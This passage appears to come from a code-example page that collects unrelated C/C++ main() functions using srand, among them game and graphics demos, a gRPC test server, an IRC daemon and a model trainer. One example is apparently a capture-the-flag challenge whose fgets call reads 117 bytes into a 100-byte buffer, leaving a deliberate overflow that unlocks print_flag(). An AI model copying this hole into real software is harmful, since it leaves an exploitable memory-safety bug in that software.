	printf("\n");


    printf("p1:");
	for(j=0;j<18;j++) {

		switch ((rand() % 52) / 13)	{
			case 0:
				printf("heitao");
				break;
			case 1:
				printf("hongtao");
				break;
			case 2:
				printf("meihua");
				break;
			case 3:
				printf("fangkuai");
				break;
		}
		printf("%d   ",p1[j]);
	}
	printf("\n");


	printf("p2:");
	for(j=0;j<18;j++) {
		switch ((rand() % 52) / 13)	{
			case 0:
				printf("heitao");
				break;
			case 1:
				printf("hongtao");
				break;
			case 2:
				printf("meihua");
				break;
			case 3:
				printf("fangkuai");
				break;
		}
		printf("%d   ",p2[j]);
	}
	printf("\n");
	return 0;
}
Esempio n. 22
0
int main(int argc, char** argv)
{

	int dw = GetScreenWidth();
	int dh = GetScreenHeight();

	vec3 icp = {0.0F, 4.0F, 8.0F};
	vec3 icl = {0.0F, 0.0F, 0.0F};
	vec3 icu = {0.0F, 1.0F, 0.0F};
	g_globalCam.SetCamera(icp, icl, icu);
	g_globalCam.SetPerspective(65.0F, dw / (float)dh, 0.1F, 1000.0F);



	// Query extension base //
	CreateAppWindow("Mooball", dw, dh, 32, false);
	initExtensions();
	InitKeys();

	srand(time(NULL));

	// Query Device capabilities //
	if(!ValidateDevice())
	{
		DestroyAppWindow();
		return 0;
	}
	g_pTexInterface = new CTextureInterface;
	g_pShaderInterface = new CShaderInterface;
	g_lightManager = new CLightManager;
	g_bMSAA = (quickINI::Instance()->getValueAsInt("msaa") > 0) && (g_pTexInterface->GetMaxMSAA() > 0);
	g_bVSYNC = quickINI::Instance()->getValueAsInt("vsync") > 0;

//	g_model.Load( "Media/Models/Pokeball.3ds" );
	CModelObject* pMdl = new COBJModel;
	std::string err = pMdl->LoadModel("sponza.obj", "Media/Models/");

	// Initialize CG Runtime and shaders //
	init_cg();

	// Turn vsync on //
	if( EXT_VSYNC && g_bVSYNC )
	{
        #ifdef WIN32
            wglSwapIntervalEXT(1);
        #else
            glXSwapIntervalSGI(1);
        #endif
	}

	// Create offscreen targets and depth configurations //
	init_render_targets();

	// Added 8/4/10 - Keeps Mooball from hogging
	// the input focus while it's minimized.
//	HWND windowHandle = GetFocus();

	while(running)
	{
		if(QueryQuitMsg())
			running = false;

		else
		{
			if(!g_bDebugMode)
			{
				UpdateScene();
				PollKeys();
				PollMouse();
			}
			RenderScene();
			FlipBuffers();
		}

	}

	// Fall through to destruction //
	DestroyAppWindow();

	delete g_lightManager;
	delete g_pTexInterface;
	delete g_pShaderInterface;

	return 0;
}
Esempio n. 23
0
int main(int, char const**) {
    int width = 1000;
    int height = 600;
    char buff[15];

    srand(time(NULL));

    sf::Clock clock;

    sf::ContextSettings settings;
    settings.antialiasingLevel = 8;

    // Create the main window
    sf::RenderWindow window(sf::VideoMode(width, height), "My First SFML example", sf::Style::Default, settings);
    window.setFramerateLimit(60);

    sf::Font font;
    if (!font.loadFromFile("sansation.ttf")) {
        return EXIT_FAILURE;
    }

    sf::Text text;
    text.setFont(font);
    text.setString("Hello Benchmark!");
    text.setCharacterSize(24);
    int text_x = (width - (text.getCharacterSize() * 5)) / 2;
    text.setPosition(text_x, 0);
    text.setColor(sf::Color::White);

    sf::Text fps;
    fps.setFont(font);
    fps.setCharacterSize(20);
    fps.setColor(sf::Color::Black);

    sf::Texture barrel;
    if (!barrel.loadFromFile("barrel.png")) {
        return EXIT_FAILURE;
    }

    std::vector<sf::Sprite> sprites(MAX_SPRITES);
    for (int i=0; i<MAX_SPRITES; i++) {
        sprites[i].setTexture(barrel);
        int x = rand() % width;
        int y = rand() % height;
        sprites[i].setPosition(x, y);
    }

    // Box2D
    b2Vec2 gravity(0.0f, 10.0f);
    b2World world(gravity);

    createGround(world);

    /** Prepare textures */
    sf::Texture GroundTexture;
    sf::Texture BoxTexture;
    GroundTexture.loadFromFile("ground.png");
    BoxTexture.loadFromFile("box.png");

    createBox(world, 300, 0);
    createBox(world, 300, 20);

    while (window.isOpen()) {
        sf::Event event;
        while (window.pollEvent(event)) {
            if (event.type == sf::Event::Closed)
                window.close();
        }

    //    window.clear(sf::Color::Black);

        sprintf(buff, "FPS: %3.2f", framesPerSecond(clock));
        fps.setString(sf::String(buff));


    //    //for (int i=0; i<MAX_SPRITES; i++) {
    //    //    sf::Sprite s = sprites[i];
    //    //    s.setScale(rand() % 2 + 1, 2);
    //    //    s.setRotation((rand() % 720) - 360);
    //    //    window.draw(s);
    //    //}

    //    window.draw(text);

    //    window.display();
    //}


        if (sf::Mouse::isButtonPressed(sf::Mouse::Left)) {
            int MouseX = sf::Mouse::getPosition(window).x;
            int MouseY = sf::Mouse::getPosition(window).y;
            createBox(world, MouseX, MouseY);
        }
        world.Step(1.0f/60.f, 8, 3);


        window.clear(sf::Color::White);
        int BodyCount = 0;
        for (b2Body* BodyIterator = world.GetBodyList(); BodyIterator != 0; BodyIterator = BodyIterator->GetNext()) {
            if (BodyIterator->GetType() == b2_dynamicBody) {
                sf::Sprite Sprite;
                Sprite.setTexture(BoxTexture);
                Sprite.setOrigin(0.5f * SCALE, 0.5f * SCALE);
                Sprite.setPosition(SCALE * BodyIterator->GetPosition().x, SCALE * BodyIterator->GetPosition().y);
                Sprite.setRotation(BodyIterator->GetAngle() * 180/b2_pi);
                window.draw(Sprite);
                ++BodyCount;
            } else {
                sf::Sprite GroundSprite;
                GroundSprite.setTexture(GroundTexture);
                GroundSprite.setColor(sf::Color::Red);
                GroundSprite.setOrigin(40.0f * SCALE, 1.0f * SCALE);
                GroundSprite.setPosition(SCALE * BodyIterator->GetPosition().x, SCALE * BodyIterator->GetPosition().y);
                GroundSprite.setRotation(180/b2_pi * BodyIterator->GetAngle());
                window.draw(GroundSprite);
            }
        }
        window.draw(fps);
        window.display();
    }

    return 0;
}
Esempio n. 24
0
File: server.c Progetto: An-mol/grpc
int main(int argc, char **argv) {
  grpc_event ev;
  call_state *s;
  char *addr_buf = NULL;
  gpr_cmdline *cl;
  int shutdown_started = 0;
  int shutdown_finished = 0;

  int secure = 0;
  char *addr = NULL;

  char *fake_argv[1];

  gpr_timers_set_log_filename("latency_trace.fling_server.txt");

  GPR_ASSERT(argc >= 1);
  fake_argv[0] = argv[0];
  grpc_test_init(1, fake_argv);

  grpc_init();
  srand((unsigned)clock());

  cl = gpr_cmdline_create("fling server");
  gpr_cmdline_add_string(cl, "bind", "Bind host:port", &addr);
  gpr_cmdline_add_flag(cl, "secure", "Run with security?", &secure);
  gpr_cmdline_parse(cl, argc, argv);
  gpr_cmdline_destroy(cl);

  if (addr == NULL) {
    gpr_join_host_port(&addr_buf, "::", grpc_pick_unused_port_or_die());
    addr = addr_buf;
  }
  gpr_log(GPR_INFO, "creating server on: %s", addr);

  cq = grpc_completion_queue_create(NULL);
  if (secure) {
    grpc_ssl_pem_key_cert_pair pem_key_cert_pair = {test_server1_key,
                                                    test_server1_cert};
    grpc_server_credentials *ssl_creds = grpc_ssl_server_credentials_create(
        NULL, &pem_key_cert_pair, 1, 0, NULL);
    server = grpc_server_create(NULL, NULL);
    GPR_ASSERT(grpc_server_add_secure_http2_port(server, addr, ssl_creds));
    grpc_server_credentials_release(ssl_creds);
  } else {
    server = grpc_server_create(NULL, NULL);
    GPR_ASSERT(grpc_server_add_insecure_http2_port(server, addr));
  }
  grpc_server_register_completion_queue(server, cq, NULL);
  grpc_server_start(server);

  gpr_free(addr_buf);
  addr = addr_buf = NULL;

  grpc_call_details_init(&call_details);

  request_call();

  grpc_profiler_start("server.prof");
  signal(SIGINT, sigint_handler);
  while (!shutdown_finished) {
    if (got_sigint && !shutdown_started) {
      gpr_log(GPR_INFO, "Shutting down due to SIGINT");
      grpc_server_shutdown_and_notify(server, cq, tag(1000));
      GPR_ASSERT(grpc_completion_queue_pluck(
                     cq, tag(1000), GRPC_TIMEOUT_SECONDS_TO_DEADLINE(5), NULL)
                     .type == GRPC_OP_COMPLETE);
      grpc_completion_queue_shutdown(cq);
      shutdown_started = 1;
    }
    ev = grpc_completion_queue_next(
        cq, gpr_time_add(gpr_now(GPR_CLOCK_REALTIME),
                         gpr_time_from_micros(1000000, GPR_TIMESPAN)),
        NULL);
    s = ev.tag;
    switch (ev.type) {
      case GRPC_OP_COMPLETE:
        switch ((intptr_t)s) {
          case FLING_SERVER_NEW_REQUEST:
            if (call != NULL) {
              if (0 ==
                  strcmp(call_details.method, "/Reflector/reflectStream")) {
                /* Received streaming call. Send metadata here. */
                start_read_op(FLING_SERVER_READ_FOR_STREAMING);
                send_initial_metadata();
              } else {
                /* Received unary call. Can do all ops in one batch. */
                start_read_op(FLING_SERVER_READ_FOR_UNARY);
              }
            } else {
              GPR_ASSERT(shutdown_started);
            }
            /*      request_call();
             */
            break;
          case FLING_SERVER_READ_FOR_STREAMING:
            if (payload_buffer != NULL) {
              /* Received payload from client. */
              start_write_op();
            } else {
              /* Received end of stream from client. */
              start_send_status();
            }
            break;
          case FLING_SERVER_WRITE_FOR_STREAMING:
            /* Write completed at server  */
            grpc_byte_buffer_destroy(payload_buffer);
            payload_buffer = NULL;
            start_read_op(FLING_SERVER_READ_FOR_STREAMING);
            break;
          case FLING_SERVER_SEND_INIT_METADATA_FOR_STREAMING:
            /* Metadata send completed at server */
            break;
          case FLING_SERVER_SEND_STATUS_FOR_STREAMING:
            /* Send status and close completed at server */
            grpc_call_destroy(call);
            if (!shutdown_started) request_call();
            break;
          case FLING_SERVER_READ_FOR_UNARY:
            /* Finished payload read for unary. Start all reamaining
             *  unary ops in a batch.
             */
            handle_unary_method();
            break;
          case FLING_SERVER_BATCH_OPS_FOR_UNARY:
            /* Finished unary call. */
            grpc_byte_buffer_destroy(payload_buffer);
            payload_buffer = NULL;
            grpc_call_destroy(call);
            if (!shutdown_started) request_call();
            break;
        }
        break;
      case GRPC_QUEUE_SHUTDOWN:
        GPR_ASSERT(shutdown_started);
        shutdown_finished = 1;
        break;
      case GRPC_QUEUE_TIMEOUT:
        break;
    }
  }
  grpc_profiler_stop();
  grpc_call_details_destroy(&call_details);

  grpc_server_destroy(server);
  grpc_completion_queue_destroy(cq);
  grpc_shutdown();
  return 0;
}
Esempio n. 25
0
int main(int argc, char *argv[])
{
    srand(time(NULL));
    bool giveme = false;
    long zero = 0;
    char buf[100];
    bool gotflag = false;
    puts("Welcome to hell, we have real strong JumpFu here");
start:
    DBUG("start")
    puts("Where to?");
    fflush(0);
    zero = 0;
    fgets(buf, 117, stdin);
    buf[99] = 0;
    if (strncmp(buf+10, "WHO GOES THERE", strlen("WHO GOES THERE")) == 10)
        goto six;
    else
        goto two;
one:
    DBUG("one")
    puts("WELCOME BACK");
    goto start;
two:
    DBUG("two")
    puts("Who are you? Where are you even going?");
    fflush(0);
    if (buf[69]=='8')
        goto eleven;
    if (buf[69]=='9')
        goto five;
    goto one;
three:
    DBUG("three")
    puts("Here we go again...");
    fflush(0);
    goto eight;
four:
    DBUG("four")
    if (!zero)
        goto nine;
five:
    DBUG("five")
    giveme = true;
    if (!zero)
        goto eight;
six:
    DBUG("six")
    giveme = false;
seven: //lucky number seven
    DBUG("seven")
    if (giveme){
        gotflag = true;
        print_flag();
        goto end;
    }else{
        puts("NO!!! GO AWAY");
        fflush(0);
    }
eight:
    DBUG("eight")
    puts("Goodnight! See you later!");
    fflush(0);
    sleep(1);
    if (rand() % 2)
        goto one;
    else
        goto twelve;
nine:
    DBUG("nine")
    goto two;
ten:
    DBUG("ten")
    if (!zero)
        goto end;
    goto one;
eleven:
    DBUG("eleven")
    if (strncmp(&zero, "risky!", strlen("risky")))
        goto eight;
    goto six;
twelve:
    DBUG("twelve")
    if (zero)
        goto seven;
    else
        goto ten;
end:
    DBUG("end")
    if (!gotflag)
        puts("Looks like you are leavin here empty handed.");
    else
        puts("Nice work. You won.");
    fflush(0);
    return 0;
}
Esempio n. 26
0
int
main (int argc, char *argv[])
{
  /* Check to see if the user is running
   * us as root, which is a nono
   */
  if (geteuid () == 0)
    {
      fprintf (stderr, "Don't run ircd as root!!!\n");
      return (-1);
    }

  /* save server boot time right away, so getrusage works correctly */
  set_time ();

  /* Setup corefile size immediately after boot -kre */
  setup_corefile ();

  /* set initialVMTop before we allocate any memory */
  initialVMTop = get_vm_top ();

  ServerRunning = 0;

  /* It ain't random, but it ought to be a little harder to guess */
  srand (SystemTime.tv_sec ^ (SystemTime.tv_usec | (getpid () << 20)));
  memset (&me, 0, sizeof (me));
  memset (&meLocalUser, 0, sizeof (meLocalUser));
  me.localClient = &meLocalUser;
  dlinkAdd (&me, &me.node, &global_client_list);	/* Pointer to beginning
							   of Client list */

  memset (&ServerInfo, 0, sizeof (ServerInfo));

  /* Initialise the channel capability usage counts... */
  init_chcap_usage_counts ();

  ConfigFileEntry.dpath = DPATH;
  ConfigFileEntry.configfile = CPATH;	/* Server configuration file */
  ConfigFileEntry.klinefile = KPATH;	/* Server kline file         */
  ConfigFileEntry.xlinefile = XPATH;	/* Server xline file         */
  ConfigFileEntry.dlinefile = DLPATH;	/* dline file                */
  ConfigFileEntry.cresvfile = CRESVPATH;	/* channel resv file      */
  ConfigFileEntry.nresvfile = NRESVPATH;	/* nick resv file         */
  myargv = argv;
  umask (077);			/* better safe than sorry --SRB */

  parseargs (&argc, &argv, myopts);

  build_version ();

  if (printVersion)
    {
      printf ("ircd: version %s\n", ircd_version);
      exit (EXIT_SUCCESS);
    }

  if (chdir (ConfigFileEntry.dpath))
    {
      perror ("chdir");
      exit (EXIT_FAILURE);
    }

  if (!server_state.foreground)
    make_daemon ();
  else
    print_startup (getpid ());

#ifdef HAVE_LIBCRYPTO
  dh_init();
  fprintf(stderr, "SSL: Initialize\n");

  SSL_load_error_strings();
  SSLeay_add_ssl_algorithms();
  ServerInfo.ctx = SSL_CTX_new(SSLv23_server_method());

  if (!ServerInfo.ctx) {
       ERR_print_errors_fp(stderr);
       return 0;
  }

  fprintf(stderr, "SSL: Client based SSL connections are enabled.\n");
#endif

  setup_signals ();
  /* We need this to initialise the fd array before anything else */
  fdlist_init ();

  if (!server_state.foreground)
    close_all_connections ();	/* this needs to be before init_netio()! */
  else
    check_can_use_v6 ();	/* Done in close_all_connections normally */

  init_log (logFileName);
  init_netio ();		/* This needs to be setup early ! -- adrian */
  /* Check if there is pidfile and daemon already running */
  check_pidfile (pidFileName);
  /* Init the event subsystem */
  eventInit ();
  init_sys ();

#ifndef NOBALLOC
  initBlockHeap ();
#endif
  init_dlink_nodes ();
  init_slink_nodes ();
  initialize_message_files ();
  dbuf_init ();
  init_hash ();
  init_ip_hash_table ();	/* client host ip hash table */
  init_host_hash ();		/* Host-hashtable. */
  clear_hash_parse ();
  init_client ();
  init_user ();
  init_channels ();
  init_class ();
  init_whowas ();
  init_stats ();
  init_hooks ();
  read_conf_files (1);		/* cold start init conf files */
  initServerMask ();
  init_uid ();
  init_auth ();			/* Initialise the auth code */
  init_resolver ();		/* Needs to be setup before the io loop */
  init_reject ();               /* Set up the reject code. */
  init_umodes ();               /* Set up the usermode system. */

  initialize_foundation_signals(); /* register things that modules need */

#ifdef HAVE_LIBCRYPTO
  bio_spare_fd = save_spare_fd ("SSL private key validation");
#endif /* HAVE_LIBCRYPTO */

  initialize_server_capabs ();	/* Set up default_server_capabs */
  initialize_global_set_options ();

  if (ServerInfo.name == NULL)
    {
      fprintf (stderr,
	       "ERROR: No server name specified in serverinfo block.\n");
      ilog (L_CRIT, "No server name specified in serverinfo block.");
      exit (EXIT_FAILURE);
    }
  strlcpy (me.name, ServerInfo.name, sizeof (me.name));

  /* serverinfo{} description must exist.  If not, error out. */
  if (ServerInfo.description == NULL)
    {
      fprintf (stderr,
	       "ERROR: No server description specified in serverinfo block.\n");
      ilog (L_CRIT,
	    "ERROR: No server description specified in serverinfo block.");
      exit (EXIT_FAILURE);
    }
  strlcpy (me.info, ServerInfo.description, sizeof (me.info));

  me.from = &me;
  me.servptr = &me;

  SetMe (&me);
  make_server (&me);

  strlcpy (me.serv->up, me.name, sizeof (me.serv->up));
  me.lasttime = me.since = me.firsttime = CurrentTime;
  hash_add_client (&me);

  /* add ourselves to global_serv_list */
  dlinkAdd (&me, make_dlink_node (), &global_serv_list);

  check_class ();

#ifndef STATIC_MODULES
  if (chdir (MODPATH))
    {
      ilog (L_CRIT, "Could not load core modules. Terminating!");
      exit (EXIT_FAILURE);
    }
  mod_set_base ();
  load_all_modules (1);
  load_core_modules (1);
  /* Go back to DPATH after checking to see if we can chdir to MODPATH */
  chdir (ConfigFileEntry.dpath);
#else
  load_all_modules (1);
#endif

  write_pidfile (pidFileName);

  ilog (L_NOTICE, "Server Ready");

  eventAddIsh ("cleanup_tklines", cleanup_tklines, NULL,
	       CLEANUP_TKLINES_TIME);

  /* We want try_connections to be called as soon as possible now! -- adrian */
  /* No, 'cause after a restart it would cause all sorts of nick collides */
  eventAddIsh ("try_connections", try_connections, NULL,
	       STARTUP_CONNECTIONS_TIME);

  eventAddIsh ("collect_zipstats", collect_zipstats, NULL, ZIPSTATS_TIME);

  /* Setup the timeout check. I'll shift it later :)  -- adrian */
  eventAddIsh ("comm_checktimeouts", comm_checktimeouts, NULL, 1);

  if (splitmode)
    eventAddIsh ("check_splitmode", check_splitmode, NULL, 60);

  ServerRunning = 1;
  io_loop ();
  return (0);
}
Esempio n. 27
0
int
main(int argc, char *argv[], char *envp[])
{
  FILE *fdata;			/* .data file (input)*/
  FILE *fmodel;			/* .model file (output) */
  FILE *fauc;				/* .model.1st file (output) */

  int atnl;				/* at newline (flag) */
  char *aucname;			/* file name of the AUC file */
  double baseline;
  char c;
  int divider;			/* #of bins to divide in this round */
  int failures_seen;			/* in this bin */
  int i, j, k, l;
  int maxrounds;			/* max(@ROUNDS) */
  int numbins;			/* misnomer, really "this round" */
  char *sca0, *sca, *scc;		/* tmp variables */
  int t;				/* XXX - some kind of counter? */
  int this_first, this_last;
  double this_pauc;
  double randnum;
  int *rand_seed = NULL;
  int total_failures;
  int num_scores;
  int init_permute_flag = 1;
  int unknown_meth = REL_ORDER;
  Score *p;
  Score *best;
  double min_auc;

  gargc = argc;
  gargv = argv;
  genvp = envp;

  /*
   * Make sure we grok NaNs
   * (unknown entries in the input file, given as '?', are
   *  stored as not-a-number values)
   */

  if (!isnan(nan("")))
    errx(1, "Implementation does not understand NaNs");

  /*
   * PARSE ARGUMENTS
   */

  if (argc < 3)
    usage();

  if ((fdata = fopen(argv[1], "r")) == NULL)
    err(1, "cannot open %s for reading", argv[1]);

  if ((fmodel = fopen(argv[2], "w")) == NULL)
    err(1, "cannot open %s for writing", argv[2]);

  if ((aucname = (char *)calloc(strlen(argv[2]) + sizeof (".1st"), 1)) == NULL)
    err(1, "allocating aucname");

  strcpy(aucname, argv[2]);
  strcat(aucname, ".1st");
  if ((fauc = fopen(aucname, "w")) == NULL)
    err(1, "cannot open %s for writing", aucname);

  argc -= 3;
  argv += 3;

  while (argc > 0) {    
    if (!strcmp(argv[0], "rounds") || !strcmp(argv[0], "--rounds")) {
      if (argc < 2)
        usage();
      if ((sca0 = sca = strdup(argv[1])) == NULL)
        err(1, "strdup: copying %s", argv[1]);

      while (*sca == ',')	    /* strip leading commas, if any */
        sca++;

      scc = sca + strlen(sca);
      if (scc == sca)  /* must have at least one digit! */
        usage();

      while (*--scc == ',')	/* strip trailing commas */
        *scc = '\0';

      if (strchr(sca, ',')) {
        /*
         * comma-separated list of rounds, parse
         */

        n_rounds = 0;
        for (scc = sca; *scc; scc++)
          if (*scc == ',')
            n_rounds++;
        n_rounds++;
        if ((rounds = (int *)calloc(n_rounds, sizeof (*rounds))) == NULL)
          err(1, "calloc %d rounds", n_rounds);
        for (i = 0; i < n_rounds; i++) {
          rounds[i] = strtol(sca, &scc, 10);
          if (rounds[i] <= 0)
            errx(1, "round %d must be positive", i);
          sca = scc + 1;
        }
      } else {
        n_rounds = strtol(sca, NULL, 10);        
      }
      
      if (n_rounds <= 0)
        usage();
      
      argc -= 2;
      argv += 2;

    } else if (!strcmp(argv[0], "topk") || !strcmp(argv[0], "--topk")) {
      if (argc < 2)
        usage();
      if ((sca0 = sca = strdup(argv[1])) == NULL)
        err(1, "strdup: copying %s", argv[1]);

      scc = sca + strlen(sca);
      if (scc == sca)  /* must have at least one digit! */
        usage();      

      topk = strtol(sca, NULL, 10);
      
      if (topk <= 0)
        usage();

      argc -= 2;
      argv += 2;

    } else if (!strcmp(argv[0], "miss-limit") || !strcmp(argv[0], "--miss-limit")) {
      if (argc < 2)
        usage();      
      if ((sca0 = sca = strdup(argv[1])) == NULL)
        err(1, "strdup: copying %s", argv[1]);

      scc = sca + strlen(sca);
      if (scc == sca)  /* must have at least one digit! */
        usage();      
      
      unknown_limit = atof(sca);
      
      if (unknown_limit < 0 || unknown_limit > 1)
        usage();

      argc -= 2;
      argv += 2;

    } else if (!strcmp(argv[0], "--no-prob-dist")) {
      prob_dist_flag = 0;
      argc -= 1;
      argv += 1;

    } else if (!strcmp(argv[0], "--no-permute") || 
	       !strcmp(argv[0], "no-permute")) {

      init_permute_flag = 0;
      argc -= 1;
      argv += 1;

    } else if (!strcmp(argv[0], "--sort-unknowns") ||
	       !strcmp(argv[0], "sort-unknowns")) {

      if (argc < 2)
	usage();

      if ((sca = strdup(argv[1])) == NULL)
	err(1, "strdup: copying %s", argv[1]);

      unknown_meth = atoi(sca);

      if (unknown_meth != RAND_ORDER || unknown_meth != REL_ORDER) {
	usage();
      }

      argc -= 2;
      argv += 2;


    } else if (!strcmp(argv[0], "seed") || !strcmp(argv[0], "--seed")) {

      if (argc < 2)
	usage();

      if ((sca0 = sca = strdup(argv[1])) == NULL)
	err(1, "strdup: copying %s", argv[1]);

      scc = sca + strlen(sca);
      if (scc == sca) {
	//must have one digit
	usage();
      }

      if ((rand_seed = (int *) malloc(sizeof(int))) == NULL)
	err(1, "calloc one integer", 1);

      *rand_seed = atoi(sca);

      argc -= 2;
      argv += 2;
    
    } else {
      /* No other options supported */
      usage();
    }
  }

  /*
   * if we got a single number as the "rounds" argument, we 
   * interpret it as the list 1,2,...,n
   */
  if (rounds == NULL) {
    if ((rounds = (int *)calloc(n_rounds, sizeof (*rounds))) == NULL)
      err(1, "calloc %d rounds", n_rounds);
    for (i = 0; i < n_rounds; i++)
      rounds[i] = i+1;
  }

  /*
   * Prep @F and @last
   */

  /*
   * find the max value in rounds[], 
   * needed for allocating space for failures[][] and last[][]
   */
  for (i = 0, maxrounds = 0; i < n_rounds; i++) 
    if (maxrounds < rounds[i])
      maxrounds = rounds[i];

  if ((failures = (int **)calloc(n_rounds + 3, sizeof (*failures))) == NULL)
    err(1, "calloc %d failures", n_rounds);
  if ((last = (int **)calloc(n_rounds + 3, sizeof (*last))) == NULL)
    err(1, "calloc %d last", n_rounds);
  for (i = 0; i <= n_rounds; i++) {
    if ((failures[i] = (int *)calloc(maxrounds + 3, sizeof (**failures))) == NULL)
      err(1, "calloc failures[%d]", i);
    if ((last[i] = (int *)calloc(maxrounds + 3, sizeof (**last))) == NULL)
      err(1, "calloc last[%d]", i);
  }

  /*
   * COUNT NAMES and IDS
   */

  /*
   * Start reading the first line, counting fields
   */
  //first check to make sure there is data in the file
  c = fgetc(fdata);
  if (c == EOF) {
    fclose(fdata);
    err(1, "Error: Data file %s is empty\n", gargv[1]);
  }

  n_names = 1;			/* at least one! */

  /*
    attributes a comma separated. So count the number of commas in 
    the first line to calculate the number of attributes in the data.
  */
  while (!isnewline(c) && c != EOF) {
    if (c == ',')
      n_names++;
    c = fgetc(fdata);
  }
  /* 
   * We've read the first line; let's keep counting lines.
   * There is some cruftiness in the code in order to deal with
   * text files with lines ending in \r\n and not just \n
   */
  n_ids = 1;				/* we've already read one line! */

  atnl = 0;
  while ((c = fgetc(fdata)) != EOF)
    if (isnewline(c)) {
      if (!atnl) {
        n_ids++;
        atnl++;			
      }
    } else {
      atnl = 0;
    }

  fclose(fdata);
  if ((fdata = fopen(gargv[1], "r")) == NULL)
    err(1, "cannot open %s for reading", gargv[1]);

  if ((tabula = (double **)calloc(n_ids, sizeof (*tabula))) == NULL)
    err(1, "allocating tabula");
  for (i = 0; i < n_ids; i++) {
    if ((tabula[i] = (double *)calloc(n_names, sizeof (**tabula))) == NULL)
      err(1, "allocating %d-th row of table\n", i);
    for (j = 0; j < n_names - 1; j++)
      if (fscanf(fdata, "%lg,", &tabula[i][j]) != 1) {
        tabula[i][j] = nan("");
        while (fgetc(fdata) != ',')
          ;
      }
    fscanf(fdata, "%lg", &tabula[i][j]); /* 
                                          * XXX - a well-formed file
                                          * MUST not have the result
                                          * value (last column) be a '?'
                                          * DOUBLE_CHECK
                                          */
  }

  total_failures = 0;
  for (i = 0; i < n_ids; i++)
    total_failures += tabula[i][n_names - 1];

  printf("data_file = %s\n", gargv[1]);
  printf("model = %s\n", gargv[2]);
  printf("nr rounds = %d\tnr splits=", n_rounds);
  for (i = 0; i < n_rounds; i++)
    printf(" %d", rounds[i]);
  printf("\nnr_examples = %d\ttotal_failures = %d", n_ids, total_failures);
  printf("\tnr_attribs = %d\n", n_names);

  // seed random no generator
  if (rand_seed == NULL) {
    srand((unsigned)time(NULL));   
  }
  else {
    srand(*rand_seed);
    //don't need rand_seed anymore...
    free(rand_seed);
    rand_seed = NULL;
  }

  if ((order = (int *)calloc(n_ids, sizeof (*order))) == NULL)
    err(1, "calloc %d order", n_ids);

  if ((sublist_order = (int *)calloc(n_ids, sizeof (*sublist_order))) == NULL)
    err(1, "calloc %d sublist_order", n_ids);

  if ((scores = (Score *)calloc(MAX_VARS, sizeof (Score))) == NULL)
    err(1, "calloc %d scores", MAX_VARS);  

  for (i = 0; i < MAX_VARS; i++) {
    scores[i].auc = 0;
    if ((scores[i].order = (int *)calloc(n_ids, sizeof (*(scores[i].order)))) == NULL)
      err(1, "calloc %d scores[%d].order", n_ids, i);    
  }  

  if ((ignore_set = (int *)calloc(n_names-1, sizeof (*ignore_set))) == NULL)
    err(1, "calloc %d ignore_set", n_names-1);  

  if ((this_order = (int *)calloc(n_ids, sizeof (*this_order))) == NULL)
    err(1, "calloc %d this_order", n_ids);  

  if ((best_order = (int *)calloc(n_ids, sizeof (*best_order))) == NULL)
    err(1, "calloc %d best_order", n_ids);  

  /* randomize initial ordering */
  if (init_permute_flag) {
    for (i = 0; i < n_ids; i++)
      order[i] = -1;
    for (i = 0; i < n_ids; i++) {
      randnum = (double)rand()/((unsigned)RAND_MAX+1);  // [0,1)
      j = (int)(randnum*n_ids);
      while (order[j] != -1)
	j = (j + 1) % n_ids;
      order[j] = i;    
    }
  }
  else {
    for (i = 0; i < n_ids; i++) {
      order[i] = i;
    }
  }

  /* find variables to ignore */
  for (i = 0; i < n_names-1; i++) {
    ignore_set[i] = 0;
    if (check_var(i,n_ids, unknown_limit) < 0)
      ignore_set[i] = 1;    
  }

  /* iteration over rounds */
  for (numbins = 1; numbins <= n_rounds; numbins++) {
    printf("round = %d\tsplits = %d\n", numbins, rounds[numbins - 1]);    

    t = 0;
    failures_seen = 0;
    for (divider = 0; divider < rounds[numbins - 1]; divider++) {
      while ((failures_seen < ((divider + 1) * (double)total_failures /
                               rounds[numbins - 1])) &&
             (t < n_ids)) {
        failures_seen += tabula[order[t]][n_names-1];
        t++;
      }
      last[numbins][divider] = t - 1;
      failures[numbins][divider] = failures_seen;
      if (divider == (rounds[numbins - 1] - 1)) 
        failures[numbins][divider+1] = total_failures - failures_seen;
    }

    this_first = 0;	   /* find the first element of the sublist */
    
    /* iteration over bins in this round */
    for (j = 0; j < rounds[numbins - 1]; j++) {
      if (j < rounds[numbins - 1] - 1)
        this_last = last[numbins][j];
      else
        this_last = n_ids - 1;

      printf("\tbin %d: [%d..%d] %d failures",
             j, this_first, this_last,
             failures[numbins][j] - (j ? failures[numbins][j-1] : 0));
      printf("\t(%.12f%%)\n", 
             (this_last - this_first + 1) * 100.0 / n_ids);

      // ordering from previous round
      for (k = this_first; k <= this_last; k++)
        sublist_order[k - this_first] = order[k];
      baseline = pauc(sublist_order, this_last - this_first + 1);

      // reset scores
      for (k = 1; k < MAX_VARS; k++)
        scores[k].auc = 0;
      min_score_ptr = NULL;
      num_scores = 0;
      
      /* iteration over variables for this bin */
      for (exti = 0; exti < n_names - 1; exti++) {
	
        if (ignore_set[exti])
          continue;

        /* variable ascending */

        for (k = this_first; k <= this_last; k++)
          this_order[k - this_first] = sublist_order[k - this_first];       

        if (sort_examples((void *)this_order, this_last - this_first + 1,
                          sizeof (*this_order), compasc, unknown_meth) < 0)
          err(1, "sort_examples this_order ascending");
        
        this_pauc = pauc(this_order, this_last - this_first + 1);
        
        if (numbins == 1)
          fprintf(fauc, "VAR=%d AUC=%f DIR=asc\n", exti, this_pauc);
        
        if (this_pauc > baseline)
          insert_score(scores, &num_scores, exti, "a", this_pauc, this_order, 
                       this_last - this_first + 1);
        
        /* variable descending */

        for (k = this_first; k <= this_last; k++)
          this_order[k - this_first] = sublist_order[k - this_first];

        if (sort_examples((void *)this_order, this_last - this_first + 1,
                          sizeof (*this_order), compdesc, unknown_meth) < 0)
          err(1, "sort_examples this_order descending");

        this_pauc = pauc(this_order, this_last - this_first + 1);
		
        if (numbins == 1)
          fprintf(fauc, "VAR=%d AUC=%f DIR=desc\n", exti, this_pauc);

        if (this_pauc > baseline)	  
          insert_score(scores, &num_scores, exti, "d", this_pauc, this_order, 
                       this_last - this_first + 1);        
      } /* end variables loop */      

      if (num_scores > 0) {
        // sort scores in desc order of auc
        if (mergesort((void *)scores, num_scores,
                      sizeof (*scores), comp_auc_desc) < 0)
          err(1, "mergesort scores descending");
        
        if (prob_dist_flag) {
          // pick top variable probabilistically
          // XXX: pick topk vars and compute avg sort
          auc_to_dist(scores, num_scores);
          best = weighted_rand(scores, num_scores);
        }
        else
          best = scores;
         	
        // merge results into main array
        for (k = this_first; k <= this_last; k++)
